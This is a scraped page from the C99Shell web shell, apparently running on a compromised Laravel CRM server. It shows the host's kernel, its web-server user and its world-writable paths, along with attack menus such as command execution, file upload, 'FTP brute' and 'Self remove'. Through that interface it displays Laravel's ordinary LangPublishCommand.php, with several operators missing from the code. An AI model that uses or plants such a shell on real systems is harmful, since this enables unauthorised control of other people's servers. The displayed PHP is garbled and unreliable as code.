!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/laravel/framework/src/Illuminate/Foundation/Console/   drwxrwxrwx
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LangPublishCommand.php (1.82 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Foundation\Console;

use 
Illuminate\Console\Command;
use 
Illuminate\Filesystem\Filesystem;
use 
Symfony\Component\Console\Attribute\AsCommand;

#[
AsCommand(name'lang:publish')]
class 
LangPublishCommand extends Command
{
    
/**
     * The name and signature of the console command.
     *
     * @var string
     */
    
protected $signature 'lang:publish
                    {--existing : Publish and overwrite only the files that have already been published}
                    {--force : Overwrite any existing files}'
;

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Publish all language files that are available for customization';

    
/**
     * Execute the console command.
     *
     * @return void
     */
    
public function handle()
    {
        if (! 
is_dir($langPath $this->laravel->basePath('lang/en'))) {
            (new 
Filesystem)->makeDirectory($langPathrecursivetrue);
        }

        
$stubs = [
            
realpath(__DIR__.'/../../Translation/lang/en/auth.php') => 'auth.php',
            
realpath(__DIR__.'/../../Translation/lang/en/pagination.php') => 'pagination.php',
            
realpath(__DIR__.'/../../Translation/lang/en/passwords.php') => 'passwords.php',
            
realpath(__DIR__.'/../../Translation/lang/en/validation.php') => 'validation.php',
        ];

        foreach (
$stubs as $from => $to) {
            
$to $langPath.DIRECTORY_SEPARATOR.ltrim($toDIRECTORY_SEPARATOR);

            if ((! 
$this->option('existing') && (! file_exists($to) || $this->option('force')))
                || (
$this->option('existing') && file_exists($to))) {
                
file_put_contents($tofile_get_contents($from));
            }
        }

        
$this->components->info('Language files published successfully.');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--